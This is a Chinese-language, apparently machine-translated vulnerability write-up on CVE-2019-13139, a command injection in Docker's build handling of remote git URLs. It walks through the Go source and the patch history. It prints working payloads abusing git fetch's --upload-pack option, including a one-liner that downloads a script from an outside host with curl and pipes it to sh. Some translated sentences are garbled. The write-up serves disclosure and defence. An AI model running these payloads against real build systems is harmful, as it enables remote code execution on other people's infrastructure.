CVE-2019-13139 - Docker构建代码执行
os/exec包没有遭受命令注入，这很大程度上是正确的，但就像其他“安全”命令执行API（如Python的子进程）一样，有边缘情况 - 看似安全的代码仍然可以导致命令注射。
漏洞
发现漏洞非常容易。作为我演讲的一部分，我想看看哪些流行工具依赖（或外包）git并且容易受到CVE-2018-11235的攻击。Docker构建提供了提供远程URL作为构建路径/上下文的选项，并且此远程可以是git存储库。在查看文档时我注意到的第一件事是
注意：如果URL参数包含片段，则系统将使用
git clone --recursive命令以递归方式克隆存储库及其子模块。
这清楚地表明Docker很容易受到CVE-2018-11235的攻击，我在这里也证明了这一点：
Etienne Stalmans@_staaldraadWill you build my hello-world docker container?
Simply use:
docker build http://139.59.42.102/git/hello-world.git
https://twitter.com/_staaldraad/status/1040315186081669120?s=20。突出的第二件事是，有多个选项可用于提供远程git存储库的URL。并且可以提供要使用的分支和目录：
$ docker build https://github.com/docker/rootfs.git#container:docker
$ docker build git@github.com:docker/rootfs.git#container:docker
$ docker build git://github.com/docker/rootfs.git#container:docker
在此示例中，所有URL都引用GitHub上的远程存储库，并使用容器分支和docker目录作为构建上下文。这让我想知道这个机制背后的代码，我看了一下源代码。
查看下面的代码，首先发生的事情是解析remoteURL并将其转换为gitRepo结构，然后提取fetch参数。以root身份创建临时目录，在此临时目录中创建新的git存储库，并设置存储库的远程。远程被“获取”，存储库被检出，最后子模块被初始化。
func Clone(remoteURL string) (string, error) {
repo, err := parseRemoteURL(remoteURL)
if err != nil {
return "", err
}
return cloneGitRepo(repo)
}
func cloneGitRepo(repo gitRepo) (checkoutDir string, err error) {
fetch := fetchArgs(repo.remote, repo.ref)
root, err := ioutil.TempDir("", "docker-build-git")
if err != nil {
return "", err
}
defer func() {
if err != nil {
os.RemoveAll(root)
}
}()
if out, err := gitWithinDir(root, "init"); err != nil {
return "", errors.Wrapf(err, "failed to init repo at %s: %s", root, out)
}
// Add origin remote for compatibility with previous implementation that
// used "git clone" and also to make sure local refs are created for branches
if out, err := gitWithinDir(root, "remote", "add", "origin", repo.remote); err != nil {
return "", errors.Wrapf(err, "failed add origin repo at %s: %s", repo.remote, out)
}
if output, err := gitWithinDir(root, fetch...); err != nil {
return "", errors.Wrapf(err, "error fetching: %s", output)
}
checkoutDir, err = checkoutGit(root, repo.ref, repo.subdir)
if err != nil {
return "", err
}
cmd := exec.Command("git", "submodule", "update", "--init", "--recursive", "--depth=1")
cmd.Dir = root
output, err := cmd.CombinedOutput()
if err != nil {
return "", errors.Wrapf(err, "error initializing submodules: %s", output)
}
return checkoutDir, nil
}此时没有明显的问题。这些git命令都是通过该gitWithinDir功能执行的。看看这个，事情开始变得更有趣了：
func gitWithinDir(dir string, args ...string) ([]byte, error) {
a := []string{"--work-tree", dir, "--git-dir", filepath.Join(dir, ".git")}
return git(append(a, args...)...)
}
func git(args ...string) ([]byte, error) {
return exec.Command("git", args...).CombinedOutput()
}该exec.Command()函数采用硬编码的“二进制”，"git"作为第一个参数，其余参数可以是零个或多个字符串。这不会直接导致命令执行，因为参数都是“转义”的，并且shell注入在os / exec包中不起作用。
没有受到保护的是正在执行的命令中的命令注入exec.Command()。如果传递给git二进制文件的一个或多个参数在git中用作子命令，则可能仍然存在命令执行的可能性。这正是@joernchen在CVE-2018-17456中利用的地方，他在Git子模块中通过注入一个路径获得命令执行-u./payload，其中-u告诉git哪个二进制文件用于upload-pack命令。如果可以将类似的有效负载传递给Docker构建命令，则可能只能执行命令。
回到解析Docker源代码，在查看parseRemoteURL函数时可以看出提供的URL是根据URI分割的
func parseRemoteURL(remoteURL string) (gitRepo, error) {
repo := gitRepo{}
if !isGitTransport(remoteURL) {
remoteURL = "https://" + remoteURL
}
var fragment string
if strings.HasPrefix(remoteURL, "git@") {
// git@.. is not an URL, so cannot be parsed as URL
parts := strings.SplitN(remoteURL, "#", 2)
repo.remote = parts[0]
if len(parts) == 2 {
fragment = parts[1]
}
repo.ref, repo.subdir = getRefAndSubdir(fragment)
} else {
u, err := url.Parse(remoteURL)
if err != nil {
return repo, err
}
repo.ref, repo.subdir = getRefAndSubdir(u.Fragment)
u.Fragment = ""
repo.remote = u.String()
}
return repo, nil
}
func getRefAndSubdir(fragment string) (ref string, subdir string) {
refAndDir := strings.SplitN(fragment, ":", 2)
ref = "master"
if len(refAndDir[0]) != 0 {
ref = refAndDir[0]
}
if len(refAndDir) > 1 && len(refAndDir[1]) != 0 {
subdir = refAndDir[1]
}
return
}而repo.ref和repo.subdir很容易被我们控制。该getRefAndSubdir函数使用:作为分隔符将提供的字符串拆分为两部分。然后将这些值传递给fetchArgs函数;
func fetchArgs(remoteURL string, ref string) []string {
args := []string{"fetch"}
if supportsShallowClone(remoteURL) {
args = append(args, "--depth", "1")
}
return append(args, "origin", ref)
}你能发现这个问题吗？该ref字符串将附加到fetch命令的args列表中，而不进行任何验证以确保它是有效的refspec。这意味着如果一个ref诸如-u./payload可供给它随后将被传递到git fetch命令作为参数。
最后git fetch通过执行命令
if output, err := gitWithinDir(root, fetch...); err != nil {
return "", errors.Wrapf(err, "error fetching: %s", output)
}利用
从上面可知，ref需要用于注入最终git fetch命令。将ref来自#container:docker用于提供分支和文件夹使用的泊坞上下文字符串。由于使用的strings.splitN()函数分裂在和:之间的任何东西将被用作。另一个好消息是，因为os / exec包将每个字符串视为要传递的参数，如果提供的字符串包含空格，则将其视为引用它。因此将导致执行最终命令。不是很有帮助，但是在成为漏洞的一半。#:refexecv#echo 1:twogit fetch origin "echo 1"
下一部分是识别一个或多个在传入时被视为子命令的参数git fetch。为此，需要检查git-fetch文档：https：//git-scm.com/docs/git-fetch。事实证明，有一个--upload-pack理想的选择：
--upload-pack <upload-pack>当给定，并且要获取的存储库由git fetch-pack处理时，--exec=<upload-pack>将传递给命令以指定在另一端运行的命令的非默认路径。
唯一的缺点是它用于“在另一端运行命令”，因此在服务器端。当git URL为http：//或https：//时，也会忽略此项。幸运的是，Docker构建命令还允许在表单中提供git URL git@。在git@通常被视为用户使用git通过SSH克隆，但前提是所提供的URL包含:，更简洁：git@remote.server.name:owner/repo.git。当:不存在时，git将URL解析为本地路径。由于它是一个本地路径，所提供的--upload-pack最终将被用作执行的二进制文件git fetch-pack。
因此，所有星星都是对齐的，并且可以构造导致命令执行的URL。
docker build "git@g.com/a/b#--upload-pack=sleep 30;:"
这将导致执行以下步骤：
$ git init
$ git remote add git@g.com/a/b
$ git fetch origin "--upload-pack=sleep 30; git@g.com/a/b"
请注意，远程已附加到--upload-pack命令中，因此;需要使用分号（）来关闭命令，否则git@g.com/a/b将被解析为sleep命令的第二个参数。如果没有分号，您可以看到“睡眠：无效时间间隔'git@gcom/a/b.git'”：
$ docker build "git@gcom/a/b.git#--upload-pack=sleep 5:"
unable to prepare context: unable to 'git clone' to temporary context directory: error fetching: sleep: invalid time interval ‘git@gcom/a/b.git’
Try 'sleep --help' for more information.
这可以进一步采用并转换为正确的命令执行（在第二个中添加#清除输出以便curl命令不显示）：
docker build "git@github.com/meh/meh#--upload-pack=curl -s sploit.conch.cloud/pew.sh|sh;#:"
固定
这可能是构建环境中的“远程”命令执行问题，攻击者可以控制发出的构建路径docker build。通常的docker build . -t my-container模式不容易受此影响，Docker的大多数用户不应受此问题的影响。
这是在2月份向Docker报告的，并且在3月底的18.09.4更新中部署了一个补丁。确保您的Docker引擎是最新的，如果可能，请避免使用远程上下文进行构建，尤其是在第三方提供的情况下。
